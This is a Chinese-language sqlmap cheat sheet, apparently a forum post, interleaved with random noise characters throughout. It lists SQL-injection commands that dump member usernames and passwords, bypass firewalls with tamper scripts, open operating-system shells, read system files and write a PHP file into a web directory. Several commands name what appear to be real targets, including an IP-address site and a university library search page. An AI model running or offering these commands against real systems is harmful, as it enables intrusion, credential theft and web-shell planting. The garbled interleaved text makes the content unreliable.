/pentest/database/sqlmap
+ W5 g8 N. u7 K9 ~$ d+ l* o2 u' ~* W! I% R3 C+ ?3 Z
update :::::> in the folder after execute following order : svn update
6 ?+ g1 h4 ?8 S0 T5 H- d( b# k1 n* S6 S- d. A- x; ]
sqlmap.py -r 1.txt --current-db3 J+ T; Y5 z, _ s$ |7 \- Z
" i- } B' L% N" u$ L, Tv 3 –dbms “MySQL” –technique U -p id –batch –tamper “space2morehash.py”
; y7 U2 ]$ J5 e# v; N, M, k1 P4 [# H- t' h
==================基本使用方法==========================elect (select concat(0x7e,0x27,username,0x3a,password,0x27,0x7e) from phpcms_member limit 0,1)) ! j0 D; i1 A1 X& v, v; y
猜解数据库
' _* u( b, R! R4 n% w' W./sqlmap.py -u "injection-url" --dbs4 Q' p0 q5 u, ^+ ^! L7 g6 B
sqlmap.py -r 1.txt -v 3 --dbs --tamper "space2morehash.py". V* |( F+ L9 g: e1 l* ^
3 I* O# e4 ^3 b# {/ K M0 b$ S/ a
猜解表名# F0 s/ h7 c y
./sqlmap.py -u "injection-url" -D database_name --tables
! ?+ i+ N+ d2 E% t4 x: e( ^& d5 @7 u, `5 j/ w+ Z
sqlmap.py -r 1.txt -v 1 -D jsst --tables --batch --tamper "space2morehash.py"
) a/ D3 B$ X1 R. J, W% ]' ?sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member_info --columns --batch --tamper "space2morehash.py" 0 C5 J1 W& x- n
; d7 \0 X$ N0 ~1 l2 `6 V: ]
sqlmap.py -r 1.txt -D mail -T F_domain -C F_email,F_password --dump; x' F- l# }: F
w4 G1 {* l: d S, z
sqlmap.py -r 1.txt -v 1 --os-shell --tamper "chardoubleencode.py"
" E5 x- v% |* m' C3 N/ nsqlmap.py -r 1.txt -v 3 --os-shell --tamper "chardoubleencode.py"
c j N: z- nsqlmap.py -r 1.txt -v 3 --file-write c:\help.php --file-dest D:\Bitnami\wampstack-5.4.29-0\apache2\htdocs\en\fckeditor\help888.php --tamper "chardoubleencode.py"
1 [3 v5 d4 I! h: K. D$ d' msqlmap.py -r 1.txt --dbms "Mysql" --os-shell --tamper "charunicodeencode.py"' l5 Y9 c" N1 c8 K# `/ u& k
' U) N% h1 n6 [3 V. N% Z) [& I
sqlmap.py -u "http://121.15.0.227/en/list.php?catid=74" --os-shell -v3 --tamper "charunicodeencode.py"% G* h8 s- {6 x( |' i
sqlmap.py -r 1.txt -v 3 --sql-query "desc jsgen_member;" --batch --tamper "space2morehash.py" Z4 B2 d% v- N, V
sqlmap.py -r 1.txt -v 3 --sql-query "show create table jsgen_member;" --batch --tamper "space2morehash.py"# M+ N% V! S* V' V0 Y
sqlmap.py -r 1.txt -v 3 --sql-query "select user();" --batch --tamper "space2morehash.py"- z8 a% d" \/ w$ U/ a; ]4 h. D
sqlmap.py -r 1.txt -D jsst -T phpcms_member -C username,password --dump+ d2 L( I1 D( O/ f3 v3 B
9 p4 _! J+ l- j V- |# Psqlmap.py -r 1.txt -v 3 --dbs --batch --tamper "space2morehash.py" 绕过防火墙了
3 ]) B5 ?8 K* M/ Z, x9 y4 @sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member -C ,userid,username,password, --dump --batch --tamper "space2morehash.py"/ x8 \& ]/ x/ j) O0 f
# r0 Z8 Z. d, N+ e7 x# x
sqlmap.py -r 1.txt --dbms "Mysql" --tables -D "jsst"$ z0 G3 p7 I7 v7 }5 G7 {
猜解列名3 C+ t+ C( B6 C/ d2 k( \( Q- P
./sqlmap.py -u "injection-url" -D database_name -T table_name --columns- P; j- U4 u( Z
; A* a$ d n0 H2 Q& e% p/ I6 ysqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member --columns --batch --tamper "space2morehash.py" # v4 A" c \. D2 Q: I8 v
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_session --columns --batch --tamper "space2morehash.py"
q/ _/ b8 N1 E, R' D; _sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member -C userid,groupid,username,password,touserid,point,modelid,email,areaid --dump --batch --tamper "charunicodeencode.py"
) @5 k) k i1 F J! j, O
. O3 z7 F4 Y; P! X6 s" ~$ K- qsqlmap.py -u "http://cityusr.lib.cityu.edu.hk/jspui/simple-search?query=1" --batch --tamper "space2morehash.py"1 n2 ?" t, b' r% B
&submit=Go
8 b" F1 f! A, `猜解值
9 `( R+ Q! c, O. r./sqlmap.py -u "injection-url" -D database_name -T table_name -C column1,column2 --dump. a; f. P! S( N- N* @9 `/ b
========================================================
( U$ `: [# z; ^/ d搜索表名中包括mana字符的0 [- z8 t( V! p: C2 g
/sqlmap.py -u "injection-url" -T mana --search6 p G z$ T& n. ?
返回一个交互式sql shell4 S, T- v, V4 y
/sqlmap.py -u "injection-url" --sql-shell! ]: F% J2 Z7 R& ]! _& k0 y- a
读取指定文件(需权限)
+ U8 K! C h+ C; y; V# t0 Q/sqlmap.py -u "injection-url" --file-read "c:\boot.ini"
' i- V2 P% U& {查看当前 用户 及 数据库 , r; |8 e8 V6 l" C/ q! a3 L
/sqlmap.py -u "injection-url" --current-user --current-db
/ O* ?5 X/ h- r本地文件 写入 远程目标绝对路径& U0 `( M( S+ O" s/ i# a6 o6 U& d
/sqlmap.py -u "injection-url" --file-write 本地路径 --file-dest 远程绝对路径
1 J$ I9 a5 T* ?$ Psqlmap.py -r 1.txt -v 3 --file-write c:\help.php --file-dest D:/Bitnami/wampstack-5.4.29-0/apache2/htdocs/en/fckeditor\help888.php --tamper "charunicodeencode.py"
|7 H8 L' p. k8 U. r: q+ f0 b* A+ r
sqlmap.py -u "injection-url" --file-write 本地路径 --file-dest 远程绝对路径% n" y" q4 Q4 W: H0 W
查看某用的权限
1 r6 p/ r) a; p, Q4 c- W/sqlmap.py -u "injection-url" --privileges -U root3 J5 E8 j5 M5 L1 w# w! X
查看当前用户是否为dba
2 y& |1 Y3 L: L8 `) J @8 c/sqlmap.py -u "injection-url" --is-dba
% t5 k$ \# U- k/ O- G2 Y读取所有数据库用户或指定数据库用户的密码
8 G) E+ Y+ z" C/ s& Xsqlmap.py -r 1.txt --users --passwords
% _. _) }6 p3 \7 y$ ]( {sqlmap.py -r 1.txt -v 3 --users --passwords --batch --tamper "space2morehash.py"
5 P7 Y; N) z2 A: G/ h3 N
' A' _, I: B" D0 |7 y1 k/sqlmap.py -u "injection-url" --passwords -U root
- y L2 ^9 O+ p9 S0 I9 x# w, o. W
" O( _# s4 T; f3 b# U--start&&--stop 与 --first&&--last 的区别$ m1 o! e/ A4 n" j9 J
/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D phpcms -T phpcms_member --start=1 --stop=2 --dump (--start=1 --stop=2 会列出第二条记录。。。。记录例如:0 1 2 3 ……)
+ D/ n- J ?* L- l2 a2 ^9 T' \5 L$ v
从字典中查找(属于暴利破解)存在的表(sqlmap/txt/common-tables.txt)或字段(sqlmap/txt/common-columns.txt)
9 L+ r" x+ A- R, j f6 _/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D database-name --common-tables* n. U- G' o' o6 c
/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D database-name -T table_name --common-columns) ^& q/ }5 r& F( C
) P$ Y- ^: U0 y/ P' }
执行sql语句,如查询@@datadir得到数据库路径(或者user()/database()等等……): s' m+ \( h9 K/ {! Z$ r
/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" --sql-query "select @@ip"
5 N. o2 U# J5 K. k, _9 E
) i! b; }+ g! v5 f$ O |